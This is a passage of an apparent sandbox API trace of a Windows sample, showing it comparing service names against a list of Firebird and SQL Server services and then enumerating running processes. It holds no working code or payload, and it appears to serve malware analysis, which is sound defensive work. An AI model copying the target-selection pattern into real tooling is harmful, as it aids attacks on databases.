lpString2="lmhosts") returned -1 [0113.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0113.486] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0113.486] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0113.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0113.486] lstrlenW (lpString="LSM") returned 3 [0113.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0113.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0113.487] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0113.487] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0113.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0113.487] lstrlenW (lpString="MpsSvc") returned 6 [0113.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0113.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0113.487] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0113.487] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0113.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0113.487] lstrlenW (lpString="NcbService") returned 10 [0113.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0113.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0113.487] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0113.487] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0113.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0113.487] lstrlenW (lpString="netprofm") returned 8 [0113.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0113.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0113.487] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0113.487] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0113.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0113.487] lstrlenW (lpString="NlaSvc") returned 6 [0113.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0113.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0113.487] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0113.487] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0113.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0113.488] lstrlenW (lpString="nsi") returned 3 [0113.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0113.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0113.488] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0113.488] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0113.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0113.488] lstrlenW (lpString="PcaSvc") returned 6 [0113.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0113.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0113.488] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0113.488] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0113.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0113.488] lstrlenW (lpString="PlugPlay") returned 8 [0113.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0113.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0113.488] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0113.488] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0113.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0113.488] lstrlenW (lpString="Power") returned 5 [0113.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0113.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0113.488] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0113.488] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0113.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0113.488] lstrlenW (lpString="ProfSvc") returned 7 [0113.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0113.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0113.488] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0113.489] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0113.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0113.489] lstrlenW (lpString="RpcEptMapper") returned 12 [0113.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0113.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0113.489] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0113.489] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0113.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0113.489] lstrlenW (lpString="RpcSs") returned 5 [0113.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0113.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0113.489] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0113.489] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0113.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0113.489] lstrlenW (lpString="SamSs") returned 5 [0113.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0113.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0113.489] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0113.489] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0113.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0113.489] lstrlenW (lpString="Schedule") returned 8 [0113.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0113.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0113.489] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0113.489] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0113.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0113.489] lstrlenW (lpString="SecurityHealthService") returned 21 [0113.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0113.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0113.490] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0113.490] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0113.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0113.490] lstrlenW (lpString="SENS") returned 4 [0113.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0113.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0113.490] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0113.490] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0113.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0113.490] lstrlenW (lpString="ShellHWDetection") returned 16 [0113.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0113.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0113.490] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0113.490] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0113.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0113.490] lstrlenW (lpString="Spooler") returned 7 [0113.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0113.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0113.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0113.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0113.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0113.490] lstrlenW (lpString="sppsvc") returned 6 [0113.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0113.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0113.491] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0113.491] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0113.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0113.491] lstrlenW (lpString="SSDPSRV") returned 7 [0113.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0113.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0113.491] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0113.491] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0113.491] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x617720 | out: hHeap=0x5c0000) returned 1 [0113.491] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4 [0113.495] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.496] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0113.497] lstrlenW (lpString="System") returned 6 [0113.497] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0113.497] lstrlenW (lpString="smss.exe") returned 8 [0113.497] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0113.498] lstrlenW (lpString="csrss.exe") returned 9 [0113.498] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0113.499] lstrlenW (lpString="wininit.exe") returned 11 [0113.499] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0113.500] lstrlenW (lpString="csrss.exe") returned 9 [0113.500] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0113.500] lstrlenW (lpString="winlogon.exe") returned 12 [0113.500] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0113.501] lstrlenW (lpString="services.exe") returned 12 [0113.501] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0113.502] lstrlenW (lpString="lsass.exe") returned 9 [0113.502] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.502] lstrlenW (lpString="svchost.exe") returned 11 [0113.503] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0113.503] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0113.503] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0113.504] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0113.504] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.505] lstrlenW (lpString="svchost.exe") returned 11 [0113.505] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0113.506] lstrlenW (lpString="dwm.exe") returned 7 [0113.506] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.507] lstrlenW (lpString="svchost.exe") returned 11 [0113.507] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.508] lstrlenW (lpString="svchost.exe") returned 11 [0113.508] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.509] lstrlenW (lpString="svchost.exe") returned 11 [0113.509] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.510] lstrlenW (lpString="svchost.exe") returned 11 [0113.510] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.510] lstrlenW (lpString="svchost.exe") returned 11 [0113.510] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.511] lstrlenW (lpString="svchost.exe") returned 11 [0113.511] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.512] lstrlenW (lpString="svchost.exe") returned 11 [0113.512] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.513] lstrlenW (lpString="svchost.exe") returned 11 [0113.513] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.513] lstrlenW (lpString="svchost.exe") returned 11 [0113.513] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0113.514] lstrlenW (lpString="spoolsv.exe") returned 11 [0113.514] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.515] lstrlenW (lpString="svchost.exe") returned 11 [0113.515] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.516] lstrlenW (lpString="svchost.exe") returned 11 [0113.516] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0113.517] lstrlenW (lpString="audiodg.exe") returned 11 [0113.517] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0113.518] lstrlenW (lpString="sihost.exe") returned 10 [0113.518] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.518] lstrlenW (lpString="svchost.exe") returned 11 [0113.518] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0113.519] lstrlenW (lpString="taskhostw.exe") returned 13 [0113.519] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0113.520] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0113.520] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0113.520] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0113.521] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0113.521] lstrlenW (lpString="explorer.exe") returned 12 [0113.521] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0113.523] lstrlenW (lpString="Memory Compression") returned 18 [0113.523] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0113.523] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0113.523] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0113.524] lstrlenW (lpString="SearchUI.exe") returned 12 [0113.524] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0113.525] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0113.525] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0113.526] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0113.526] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0113.526] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0113.526] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0113.527] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0113.527] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0113.528] lstrlenW (lpString="conhost.exe") returned 11 [0113.528] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0113.528] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0113.528] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0113.529] lstrlenW (lpString="upper arc.exe") returned 13 [0113.529] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0113.530] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0113.530] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, 